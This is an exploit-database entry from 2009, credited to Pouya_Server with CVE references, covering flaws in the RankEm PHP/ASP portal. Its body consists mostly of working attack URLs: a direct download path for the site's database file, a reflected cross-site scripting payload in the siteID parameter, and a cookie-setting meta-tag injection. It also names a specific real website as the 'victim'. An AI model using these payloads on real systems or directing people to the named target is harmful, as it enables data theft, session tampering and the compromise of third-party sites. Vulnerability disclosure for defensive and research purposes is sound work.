EXPLOITS

Rankem - File Disclosure / Cross-Site Scripting / Cookie

Author: Pouya_Server
type: webapps
platform: php
port: 
date_added: 2009-01-15  
date_updated: 2017-01-04  
verified: 1  
codes: OSVDB-51534;CVE-2009-0249;OSVDB-51533;CVE-2009-0248  
tags:   
aliases:   
screenshot_url:   
application_url:   

raw file: 7805.txt  

#########################################################
---------------------------------------------------------
Portal Name: RankEm
Download : http://www.katywhitton.com/downloads/rankEm/rankEmDL.zip
Author : Pouya_Server , Pouya.s3rver@Gmail.com
Vulnerability : (DD/XSS/CM)
---------------------------------------------------------
#########################################################
[DD]:
http://site.com/[Path]/database/topsites.mdb
[XSS]:
http://site.com/rankup.asp?siteID=<script>alert(1369)</script>
[CM]:
http://site.com/rankup.asp?siteID=<meta+http-equiv='Set-cookie'+content='cookiename=cookievalue'>
---------------------------------
Victem :
http://www.top50.co.nz

# milw0rm.com [2009-01-16]